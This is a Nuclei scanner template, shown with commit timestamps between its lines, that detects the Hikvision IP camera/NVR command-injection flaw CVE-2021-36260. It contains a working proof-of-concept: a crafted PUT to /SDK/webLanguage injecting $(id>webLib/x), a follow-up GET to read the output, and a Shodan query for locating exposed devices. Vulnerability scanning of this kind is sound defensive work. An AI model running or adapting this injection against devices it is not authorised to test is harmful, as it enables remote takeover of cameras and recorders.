2021-10-29 08:17:09 +00:00
id : CVE-2021-36260
info :
2022-05-02 21:50:47 +00:00
name : Hikvision IP camera/NVR - Remote Command Execution
2021-10-29 08:54:20 +00:00
author : pdteam,gy741
2021-10-29 08:17:09 +00:00
severity : critical
2022-05-02 21:50:47 +00:00
description : Certain Hikvision products contain a command injection vulnerability in the web server due to the insufficient input validation. An attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands.
2021-10-29 08:17:09 +00:00
reference :
- https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html
- https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/
- https://nvd.nist.gov/vuln/detail/CVE-2021-36260
- https://github.com/Aiminsun/CVE-2021-36260
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2021-36260
cwe-id : CWE-77,CWE-20
2023-04-12 10:55:48 +00:00
epss-score : 0.97495
2021-10-29 09:19:58 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 2
2021-10-29 09:19:58 +00:00
shodan-query : http.favicon.hash:999357577
2022-07-21 17:18:22 +00:00
tags : cve,cve2021,hikvision,rce,iot,intrusive,kev
2021-10-29 08:17:09 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-10-29 08:17:09 +00:00
- raw :
- |
PUT /SDK/webLanguage HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded; charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?><language>$(id>webLib/x)</language>
- |
GET /x HTTP/1.1
Host : {{Hostname}}
req-condition : true
matchers :
- type : dsl
dsl :
2021-11-05 22:26:14 +00:00
- "contains(body_2,'uid=') && contains(body_2,'gid=')"
- "status_code_1 == 500 && status_code_2 == 200"
condition : and
2021-10-29 08:17:09 +00:00
extractors :
- type : regex
regex :
- "(u|g)id=.*"
2022-05-02 21:50:47 +00:00
# Enhanced by mp on 2022/05/02